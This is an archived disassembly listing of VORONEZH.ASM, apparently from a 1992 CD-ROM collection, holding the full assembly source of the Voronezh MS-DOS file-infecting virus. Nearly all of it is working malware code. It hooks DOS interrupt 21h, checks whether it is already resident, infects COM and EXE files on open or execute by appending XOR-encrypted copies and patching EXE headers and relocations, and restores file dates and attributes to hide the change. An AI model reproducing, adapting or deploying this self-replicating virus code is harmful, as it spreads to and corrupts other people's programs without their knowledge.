HPAVC

home *** CD-ROM | disk | FTP | other *** search

/ HPAVC / HPAVC CD-ROM.iso / pc / SOURCE.ZIP / VORONEZH.ASM < prev next >

Wrap

Assembly Source File | 1992-10-09 | 17.1 KB | 881 lines

PAGE 59,132 ;██████████████████████████████████████████████████████████████████████████ ;██ ██ ;██ VORONEZH ██ ;██ ██ ;██ Created: 2-Mar-91 ██ ;██ Passes: 5 Analysis Options on: AJW ██ ;██ ██ ;██████████████████████████████████████████████████████████████████████████ data_1e equ 1C2h data_5e equ 3 data_6e equ 0 data_7e equ 2 data_46e equ 100h seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h voronezh proc far start: mov ax,ds push cs pop ds push ax call sub_1 voronezh endp ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ; SUBROUTINE ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ sub_1 proc near pop bx sub bx,108h push bx mov ah,0ABh int 21h ; ??INT Non-standard interrupt cmp ax,5555h jne loc_1 ; Jump if not equal jmp loc_10 loc_1: mov ax,es sub ax,1 mov ds,ax mov bx,data_5e mov ax,ds:[bx] sub ax,0EAh mov ds:[bx],ax push es pop ds mov bx,data_7e mov ax,ds:[bx] sub ax,0EAh mov ds:[bx],ax mov es,ax mov di,data_46e mov si,100h pop bx push bx add si,bx push cs pop ds mov cx,6A4h rep movsb ; Rep when cx >0 Mov [si] to es:[di] mov dx,ax jmp short loc_9 nop pushf ; Push flags sti ; Enable interrupts cmp ah,0ABh jne loc_2 ; Jump if not equal mov ax,5555h popf ; Pop flags iret ; Interrupt return loc_2: cmp ax,3D00h jne loc_5 ; Jump if not equal push ax push bx push cx push dx push si push di push es mov cx,41h xor al,al ; Zero register mov di,dx push ds pop es repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al sub di,4 mov si,di push si push cs pop es mov cx,4 mov di,289h repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] cmp cx,0 jne loc_3 ; Jump if not equal pop si jmp short loc_4 nop loc_3: mov di,28Ch mov cx,4 pop si repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] cmp cx,0 loc_4: pop es pop di pop si pop dx pop cx pop bx pop ax jz loc_6 ; Jump if zero loc_5: push ax inc ah cmp ax,4C00h pop ax jnz loc_8 ; Jump if not zero loc_6: push ax push bx push cx push dx push si push di push es push ds jmp loc_16 loc_7: pop ds pop es pop di pop si pop dx pop cx pop bx pop ax loc_8: popf ; Pop flags ;* jmp far ptr loc_49 db 0EAh,0B5h, 02h, 46h,0D5h loc_9: mov ds,dx mov ax,3521h int 21h ; DOS Services ah=function 35h ; get intrpt vector al in es:bx mov ds:data_1e,bx db 3Eh, 8Ch, 06h,0C4h, 01h, 3Eh db 89h, 1Eh, 75h, 03h, 3Eh, 8Ch db 06h, 77h, 03h, 8Dh, 16h, 53h db 01h,0B8h, 21h, 25h,0CDh db 21h loc_10: pop dx mov bx,offset data_18 add bx,dx cmp byte ptr cs:[bx],0 je loc_12 ; Jump if equal pop ds mov ax,ds push cs pop ds mov cx,dx pop di pop es push ax sub di,5 mov si,offset data_17 add si,cx mov dl,[si] add es:[di+5],dl cmp es:[di+5],dl ja loc_11 ; Jump if above dec si inc byte ptr [si] loc_11: mov dx,di mov si,offset data_16 add si,cx mov cx,5 rep movsb ; Rep when cx >0 Mov [si] to es:[di] pop ds push es push dx mov ax,ds mov es,ax xor ax,ax ; Zero register xor bx,bx ; Zero register xor cx,cx ; Zero register xor dx,dx ; Zero register xor si,si ; Zero register xor di,di ; Zero register retf ; Return far loc_12: mov ax,cs mov ds,ax mov es,ax mov si,268h mov cx,100h mov bx,281h mov di,[bx] cmp di,0 jne loc_13 ; Jump if not equal int 20h ; DOS program terminate loc_13: mov bx,283h mov ax,[bx] add di,ax add di,100h cld ; Clear direction push di rep movsb ; Rep when cx >0 Mov [si] to es:[di] pop di mov cx,word ptr ds:[283h] mov ax,word ptr ds:[281h] push di retn add ax,100h mov si,ax mov di,100h cld ; Clear direction locloop_14: mov al,[si] xor al,0BBh mov [di],al inc si inc di loop locloop_14 ; Loop if cx > 0 mov ax,offset start pop bx push ax retn inc ax push es inc ax push es push si add ax,0E2Bh inc bp pop ax inc bp db 65h, 78h, 65h, 55h, 76h, 7Fh db 'ctsqu`Voronezh,1990 2.01' data_16 db 90h db 0B8h, 7Fh, 0Eh, 8Eh data_17 db 0 data_18 db 0 data_19 dw 200h data_20 dw 14Dh data_21 db 0, 0, 0, 0, 0 data_22 dw 0 data_23 dw 34Dh data_24 dw 0 data_25 dw 5D0h data_26 db 9Ah data_27 dw 5D0h data_28 dw 0 data_29 dw 0 data_30 dw 1Eh data_31 dw 100h data_32 dw 100h data_33 db 5 data_34 dw 20h data_35 dw 0A956h data_36 dw 41B9h loc_ret_15: iret ; Interrupt return loc_16: mov bx,dx mov ax,ds:[bx+3] cmp ax,4F43h jne $+5 ; Jump if not equal jmp loc_7 sub_1 endp mov di,dx xor ax,ax ; Zero register mov cs:data_33,0 db 3Eh, 80h, 7Dh, 01h, 3Ah db 75h, 09h, 3Eh, 8Ah, 05h, 24h db 9Fh, 2Eh,0A2h,0CFh, 02h loc_18: mov ax,4300h int 21h ; DOS Services ah=function 43h ; get attrb cx, filename @ds:dx mov cs:data_34,cx mov cs:data_35,ds mov cs:data_36,dx push ds push dx push es push cs pop ds mov ax,3524h int 21h ; DOS Services ah=function 35h ; get intrpt vector al in es:bx mov word ptr ds:[285h],bx mov word ptr ds:[287h],es mov dx,offset loc_ret_15 mov ax,2524h int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx pop es pop dx pop ds push ds push cs pop ds mov bx,100h mov cx,740h sub cx,bx mov bx,283h mov [bx],cx pop ds mov bx,dx push ds push dx push bx push cs pop ds mov ah,36h ; '6' mov dl,data_33 int 21h ; DOS Services ah=function 36h ; get drive info, drive dl,1=a: ; returns ax=clust per sector ; bx=avail clust,cx=bytes/sect ; dx=clusters per drive cmp ax,0FFFFh jne loc_24 ; Jump if not equal loc_23: pop ax pop ax pop ax call sub_3 jmp loc_7 loc_24: mul bx ; dx:ax = reg * ax mul cx ; dx:ax = reg * ax or dx,dx ; Zero ? jnz loc_25 ; Jump if not zero cmp ax,word ptr ds:[283h] jb loc_23 ; Jump if below loc_25: pop bx pop dx pop ds mov ax,3D00h pushf ; Push flags cli ; Disable interrupts ;* call far ptr sub_5 db 9Ah,0B5h, 02h, 46h,0D5h jnc loc_26 ; Jump if carry=0 call sub_3 jmp loc_7 loc_26: push ax mov ax,cs mov ds,ax mov es,ax pop ax push ax mov bx,ax mov ax,5700h int 21h ; DOS Services ah=function 57h ; get file date+time, bx=handle ; returns cx=time, dx=time pop ax push cx push dx push ax mov bx,ax mov cx,0 mov dx,0 mov ah,42h ; 'B' mov al,2 int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov bx,281h mov [bx],ax mov bx,283h mov cx,[bx] mov cx,0 mov dx,0 mov ax,4200h pop bx push bx int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov bx,283h mov cx,[bx] pop bx push bx mov dx,offset data_37 mov ah,3Fh ; '?' int 21h ; DOS Services ah=function 3Fh ; read file, bx=file handle ; cx=bytes to ds:dx buffer mov si,offset data_37 mov cx,[si] cmp cx,0D88Ch jne loc_27 ; Jump if not equal pop bx pop ax pop ax call sub_2 jmp loc_7 loc_27: cmp cx,5A4Dh je loc_28 ; Jump if equal jmp loc_44 loc_28: pop bx push bx mov ax,4200h xor cx,cx ; Zero register xor dx,dx ; Zero register int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov cx,32h mov ax,3F00h lea dx,data_37 ; Load effective addr int 21h ; DOS Services ah=function 3Fh ; read file, bx=file handle ; cx=bytes to ds:dx buffer mov ax,data_39 mov cx,4 mul cx ; dx:ax = reg * ax mov bx,data_44 add ax,bx mov dx,ax mov di,dx mov ax,data_40 mov cx,10h mul cx ; dx:ax = reg * ax mov dx,di add dx,4 cmp ax,dx ja loc_29 ; Jump if above jmp loc_43 loc_29: mov data_19,ax mov ax,data_39 inc ax mov data_39,ax mov ax,data_42 mov data_20,ax mov ax,data_43 mov word ptr data_21,ax xor dx,dx ; Zero register xor cx,cx ; Zero register mov ax,4202h pop bx push bx int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset push ax push dx add ax,word ptr ds:[283h] cmp ax,word ptr ds:[283h] ja loc_30 ; Jump if above inc dx loc_30: mov cx,200h div cx ; ax,dx rem=dx:ax/reg cmp dx,0 je loc_31 ; Jump if equal inc ax loc_31: mov bx,data_38 mov cx,ax sub cx,bx cmp cx,5 jb loc_32 ; Jump if below pop ax pop ax jmp loc_43 loc_32: mov data_38,ax pop dx pop ax mov bx,data_19 cmp ax,bx jb loc_33 ; Jump if below sub ax,bx jmp short loc_34 nop loc_33: sub ax,bx dec dx loc_34: mov data_24,dx mov data_25,ax mov ax,data_19 mov bx,data_20 mov dx,0 add ax,bx cmp ax,bx ja loc_35 ; Jump if above inc dx loc_35: mov si,ax mov di,dx mov ax,word ptr data_21 mov cx,10h mul cx ; dx:ax = reg * ax add di,dx add si,ax cmp si,ax ja loc_36 ; Jump if above inc di loc_36: mov ax,si mov dx,di mov data_22,dx mov data_23,ax mov cx,dx mov dx,ax mov ax,4200h mov data_18,1 mov data_17,0 pop bx push bx int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov cx,5 lea dx,data_16 ; Load effective addr mov ax,3F00h int 21h ; DOS Services ah=function 3Fh ; read file, bx=file handle ; cx=bytes to ds:dx buffer cmp data_16,9Ah jne loc_37 ; Jump if not equal jmp loc_43 loc_37: call sub_4 mov bx,data_44 mov ax,data_39 dec ax mov cx,4 mul cx ; dx:ax = reg * ax add bx,ax mov cx,0 mov dx,bx mov ax,4200h pop bx push bx int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov dx,data_20 add dx,3 mov data_20,dx lea dx,data_20 ; Load effective addr mov cx,4 mov ah,40h ; '@' pop bx push bx int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer mov dx,data_20 sub dx,3 mov data_20,dx xor dx,dx ; Zero register xor cx,cx ; Zero register mov ax,4200h pop bx push bx int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov cx,data_44 lea dx,data_37 ; Load effective addr mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer mov data_26,9Ah mov ax,data_25 mov data_27,ax mov ax,data_24 mov cx,1000h mul cx ; dx:ax = reg * ax mov data_28,ax cmp data_27,0F000h jb loc_38 ; Jump if below mov ax,data_27 mov dx,data_28 add dx,100h sub ax,1000h mov data_28,dx mov data_27,ax loc_38: mov cx,data_22 mov dx,data_23 mov ax,4200h pop bx push bx int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov cx,5 mov ah,40h ; '@' lea dx,data_26 ; Load effective addr int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer mov cx,0 mov dx,0 mov ax,4202h pop bx push bx int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov ah,40h ; '@' mov cx,word ptr ds:[283h] mov dx,100h int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer xor cx,cx ; Zero register mov dx,data_44 mov ax,4200h pop bx push bx int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov data_32,0 mov data_29,dx mov data_30,ax mov ax,data_39 mov di,0 dec ax cmp ax,0 jne loc_39 ; Jump if not equal jmp loc_43 loc_39: mov cx,4 mul cx ; dx:ax = reg * ax mov si,ax loc_40: mov cx,0 mov dx,0 mov ax,4201h int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov data_29,dx mov data_30,ax mov cx,100h mov dx,data_6e mov ax,3F00h int 21h ; DOS Services ah=function 3Fh ; read file, bx=file handle ; cx=bytes to ds:dx buffer mov di,data_6e mov data_31,ax add data_32,ax loc_41: mov ax,[di+2] cmp ax,word ptr data_21 jne loc_42 ; Jump if not equal mov ax,[di] cmp ax,data_20 jb loc_42 ; Jump if below mov ax,data_20 add ax,5 cmp ax,[di] jbe loc_42 ; Jump if below or = mov ax,data_28 mov [di+2],ax mov ax,[di] mov bx,data_20 sub ax,bx push ax mov ax,2AAh sub ax,100h mov bx,data_27 add ax,bx pop bx add ax,bx mov [di],ax mov cx,data_29 mov dx,data_30 mov ax,4200h pop bx push bx int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov cx,data_31 mov ah,40h ; '@' pop bx push bx mov dx,data_6e int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer jmp short loc_43 nop loc_42: add di,4 mov ax,data_32 sub ax,100h add ax,di cmp ax,si je loc_43 ; Jump if equal cmp di,data_31 jb loc_41 ; Jump if below jmp loc_40 loc_43: jmp short loc_48 nop loc_44: mov cx,word ptr ds:[281h] cmp cx,0EE48h jb loc_46 ; Jump if below loc_45: pop bx pop ax pop ax call sub_2 jmp loc_7 loc_46: cmp cx,word ptr ds:[283h] jb loc_45 ; Jump if below call sub_4 mov data_18,0 mov dx,0 mov cx,0 mov ax,4202h pop bx push bx int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov si,283h mov cx,[si] mov ah,40h ; '@' push cx mov bx,offset data_37 locloop_47: mov al,[bx] xor al,0BBh mov [bx],al inc bx loop locloop_47 ; Loop if cx > 0 pop cx pop bx push bx mov dx,offset data_37 int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer mov ax,4200h mov dx,0 mov cx,0 int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov bx,110h mov si,283h mov cx,[si] mov dx,100h mov ah,40h ; '@' pop bx push bx int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer loc_48: pop bx pop dx pop cx push bx mov ax,5701h int 21h ; DOS Services ah=function 57h ; set file date+time, bx=handle ; cx=time, dx=time mov dx,data_36 mov ds,data_35 mov ax,4301h mov cx,cs:data_34 int 21h ; DOS Services ah=function 43h ; set attrb cx, filename @ds:dx push cs pop ds pop bx call sub_2 jmp loc_7 ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ; SUBROUTINE ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ sub_2 proc near mov ax,3E00h int 21h ; DOS Services ah=function 3Eh ; close file, bx=file handle ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ sub_3: mov bx,word ptr ds:[285h] mov es,word ptr ds:[287h] mov ax,2524h int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx retn sub_2 endp ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ; SUBROUTINE ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ sub_4 proc near push bp mov bp,sp push ds mov ax,4301h mov dx,data_36 mov ds,data_35 xor cx,cx ; Zero register int 21h ; DOS Services ah=function 43h ; set attrb cx, filename @ds:dx jnc $+8 ; Jump if carry=0 pop ds pop bp pop ax jmp loc_43 sub_4 endp db 36h, 8Bh, 5Eh, 04h,0B8h, 00h db 3Eh,0CDh, 21h,0B8h, 02h, 3Dh db 0FAh, 9Ch, 2Eh,0FFh, 1Eh,0C2h db 01h, 1Fh, 36h, 89h, 46h, 04h db 5Dh,0C3h data_37 db 3 db 0BBh,0F7h, 76h data_38 dw 0BB9Ah data_39 dw 0BBBBh data_40 dw 0BBBBh db 10 dup (0BBh) data_42 dw 0BBBBh data_43 dw 0BBBBh data_44 dw 0BBBBh db 1574 dup (0BBh) seg_a ends end start